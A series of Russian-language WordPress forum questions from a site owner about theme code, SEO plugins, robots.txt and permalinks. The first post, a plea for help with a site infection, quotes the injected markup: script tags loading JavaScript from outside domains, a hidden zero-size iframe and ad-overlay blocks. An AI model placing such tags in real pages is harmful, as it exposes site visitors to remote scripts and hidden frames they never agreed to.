Помогите справится с вирусом :(
Здравствуйте.
Обнаружил у себя на сайте вирус. Посторонний код появляется в коде новости когда в админке на вкладке редактирования любой страницы посмотреть ее в визуальном редакторе. Потом снова переключаюсь на HTML код страницы и под текстом статьи появляется код:
<p><script type="text/javascript" src="https://pluginplus.net/plugins/system/system_ps.js"></script></p>
<p><iframe style="width: 0px; height: 0px; border: 0px none;" src="https://pluginplus.net/statistica/statistic_li.html"></iframe></p>
<p><script type="text/javascript" src="http://c.am15.net/preloader7.js"></script></p>
<div id="advm_video"> </div>
<div>
<div id="advm_block" style="display: none;">
<div id="advm_close">Закрыть [Х]</div>
<div id="ambn17757"> </div>
<div id="advm_box">
<div>Осталось <span id="advm_timer"></span> сек.</div>
</div>
</div>
</div>
В HTML коде страницы удаляю указанный код и сохраняю страницу – кода нет. Если же переключиться снова на визуальный редактор страницы и обратно в HTML код – код вируса опять есть. Никак не могу его найти в файлах сайта… 🙁 Подскажите в каком виде он может быть и где? Заранее благодарен за помощь.
Не отображается картинка кнопки
Прописываю в style.css путь к картинке кнопки www.site.ru/images/button.gif – кнопка на сайте не выводится. Пишет "Невозможно загрузить указанный УРЛ". Когда прописываю полный путь: www.site.ru/wp-content/themes/название темы/images/button.gif – кнопка появляется. Какая может быть причина того, что при первом виде урл кнопка не выводится? Права доступа папки "images" – 755. Заранее благодарен за помощь.
Как удалить из кода link rel=’prev’?
Здравствуйте.
Подскажите что и где нужно удалить чтобы в исходном коде полной новости пропали строки:
«<link rel=’prev’ title=’Ривина. Ривина уход. Размножение Ривина. Ривина фото. Ривина пересадка. Вредители Ривина’ href=’http://site.ru/photo/326-rovnina.html’ />
<link rel=’next’ title=’Рео. Рео уход. Размножение Рео. Рео фото. Рео пересадка. Вредители Рео’ href=’http://site.ru/photo /328-breon.html’ />
<link rel=’shortlink’ href=’http://site.ru/?p=327′ />»
Удалял в single.php строки:
/* Display navigation to next/previous posts when applicable */
if (theme_get_option('theme_top_single_navigation')) {
theme_page_navigation(
array(
'next_link' => theme_get_previous_post_link('« %link'),
'prev_link' => theme_get_next_post_link('%link »')
)
);
}
/* Display navigation to next/previous posts when applicable */
if (theme_get_option('theme_bottom_single_navigation')) {
theme_page_navigation(
array(
'next_link' => theme_get_previous_post_link('« %link'),
'prev_link' => theme_get_next_post_link('%link »')
)
);
}
Но не помогло, все равно в коде остались строки….
Нужна помощь с доп. полями
У меня установлен плагин All In One SEO Pack для заполнения Title и Description каждого поста.
С целью задания для рубрик своих Title, Description, Keywords с помощью плагина Advanced Custom Fields были созданы соответствующие доп. поля (см. скрин).

И потом в header.php был добавлен код:
<?php
function head_replace($buffer) {
if ( is_category() ) { // если это шаблон рубрики
// Формируем ID рубрики
$cat_id = 'category_'.the_category_ID(false);
// Получаем значения SEO полей по их именам
// Если вы по другому назвали поля, замените первые параметры get_field
$seo_title = get_field('my_seo_title', $cat_id);
$seo_description = get_field('my_seo_description', $cat_id);
$seo_keywords = get_field('my_seo_keywords', $cat_id);
if ( !empty($seo_keywords) ) { // если поле seo keywords заполнено
// удаляем старый keywords, если он есть
$buffer = preg_replace('#<meta[^>]+["\']keywords["\'][^>]*>#si', '', $buffer);
// вставляем новый
$buffer = '<meta name="keywords" content="'.$seo_keywords.'" />'."\r\n" . $buffer;
}
if ( !empty($seo_description) ) { // если поле seo description заполнено
// удаляем старый description, если он есть
$buffer = preg_replace('#<meta[^>]+["\']description["\'][^>]*>#si', '', $buffer);
// вставляем новый
$buffer = '<meta name="description" content="'.$seo_description.'" />'."\r\n" . $buffer;
}
if ( !empty($seo_title) ) { // если поле seo title заполнено
// удаляем старый title, если он есть
$buffer = preg_replace('#<title.+?/title>#si', '', $buffer);
// вставляем новый
$buffer = '<title>'.$seo_title.'</title>'."\r\n" . $buffer;
}
}
return $buffer;
}
ob_start('head_replace');
?>
А перед </head> вставьте такой код:
<?php ob_end_flush(); ?>
Но почему то в исходном коде все равно отображается по два Title и Description. 🙁 Не могу понять почему код не удаляет лишний Title и Description. Прошу помощи. Спасибо
Какой файл использ. для карты сайта?
В свойствах страницы карты сайта, которая выводится плагином Dagon Design Sitemap Generator v3.12 указан базовый шаблон для ее вывода. Когда открываю карту сайта, то правый сайдбар почему-то уезжает вниз и не могу понять почему… 🙁 Все остальные страницы на сайте отображаются нормально. В чем может быть проблема?
На главной не работает All in One SEO Pack.
Как только указываю в настройках, чтобы главная страница была статическая – платин All in One SEO Pack перестает работать на главной (в коде пропадает description и keywords). Ставлю назад главной страницей вывод записей – все ок.
В index.php прописано <?php get_header(); ?>;
В page.php прописано <?php get_header(); ?>;
В single.php прописано <?php get_header(); ?>;
В header.php прописано <?php wp_head(); ?>.
В чем может быть проблема?
Как убрать “category” из адреса ссылки?
В админке вордпресса есть возможность в разделе "Параметры"/"постоянные ссылки" указать вид постоянных ссылок. А как можно изменить вид ссылок категорий?
Сейчас у меня так: http://site.ru/category/avto/bmw
А нужно сделать: http://site.ru/avto/bmw
Ошибка при добавлении строк в functions.php
Когда добавляю в functions.php новый код – увеличивается количество строк – стает больше 579 и после сохранения изменений при попытке зайти в админку сайта появляются ошибки:
Warning: Cannot modify header information - headers already sent by (output started at /home/adm/domains/site.com.ua/public_html/wp-content/themes/internal_medicine_wp/functions.php:579) in /home/adm/domains/site.com.ua/public_html/wp-login.php on line 362
Warning: Cannot modify header information - headers already sent by (output started at /home/adm/domains/site.com.ua/public_html/wp-content/themes/internal_medicine_wp/functions.php:579) in /home/adm/domains/site.com.ua/public_html/wp-login.php on line 374
Warning: Cannot modify header information - headers already sent by (output started at /home/adm/domains/site.com.ua/public_html/wp-content/themes/internal_medicine_wp/functions.php:579) in /home/adm/domains/site.com.ua/public_html/wp-includes/pluggable.php on line 697
.
.
Warning: Cannot modify header information - headers already sent by (output started at /home/adm/domains/site.com.ua/public_html/wp-content/themes/internal_medicine_wp/functions.php:579) in /home/adm/domains/site.com.ua/public_html/wp-includes/pluggable.php on line 714
Как только убираю строки чтобы стало меньше 579 – все работает нормально и могу зайти в админку.
Изначально когда брал тему – были закодированные ссылки. По инструкциям все раскодировал – все работало нормально, пока не понадобилось добавить код в functions.php – теперь возникают трудности.
Раньше на месте 579 строки стоял код проверки наличия ссылок:
<?php function check_links(){
$l='<noindex><p style="text-align: center;"><a rel="nofollow" href="http://site.com" target="_blank">111</a></p></noindex>';
$f=dirname(__FILE__).'/footer.php';$fd=fopen($f,'r');
$c=fread($fd,filesize($f));fclose($fd);
if(strpos($c,$l)==1){echo 'This theme is released under creative commons licence, all links in the header should remain intact';die;}}check_links();?>
Все ссылки из footer.php и header.php были удалены еще в самом начале.
В чем может быть причина? Почему может появляться ошибка при увеличении строк и как исправить ошибку? Заранее благодарен за помощь.
Гугл игнорирует robots.txt
В индексе гугла вчера появились страницы которые закрыты от индексации в robots.txt.
Страници вида:
site.ru /2012/07/13
site.ru/author/admin/feed
site.ru/tag/categor/feed
И все страници сайта с окончанием /feed
site.ru/avto/naruzhnyj-ili-vneshnij-tuning.html/feed
в robots.txt прописаны такие вот строки:
Disallow: /author/
Disallow: /20*
Disallow: /tag
Disallow: /?feed=
Disallow: /*feed
Disallow: */feed
Disallow: /feed
Disallow: /rss
Disallow: */rss
Плюс под всеми страницами написано вместо description:
- Translate this page
A description for this result is not available because of this site's robots.txt – learn more.
Почему же страницы появились в индексе и как их убрать?
Разные картинки в описании и новости
Добавляю новость через "Записи" – "Добавить новую" и потом обрезаю ее тегом <!–more–>, чтобы было как-бы короткое описание новости, а при нажатии "Читать далее" – полная новость. Но у меня появилась необходимость чтобы картинка которая есть в начале короткого описания, не выводилась в полной новости. Как это можно реализовать?
Как поменять порядок вывода постов?
Думаю что решение должно быть в самом движке, но не могу найти где…. Мне нужно чтобы статьи выводились по порядку их добавления на сайт. А сейчас выводятся вверху самые новые и потом старее и т.д., а нужно чтобы те что были добавлены на сайт первыми выводились первыми. Где можно изменить порядок вывода постов?
Как изменить вывод заголовка в h1?
Где искать изменение h2 на h1 в заголовке полной новости? В файле single.php нет и в index.php тоже нет. Хотя везде в описаниях написано что именно single.php отвечает за вывод полной новости. Сейчас в теме заголовок заключен в h2. Я хочу сделать чтобы он был h1. Где еще можно поискать?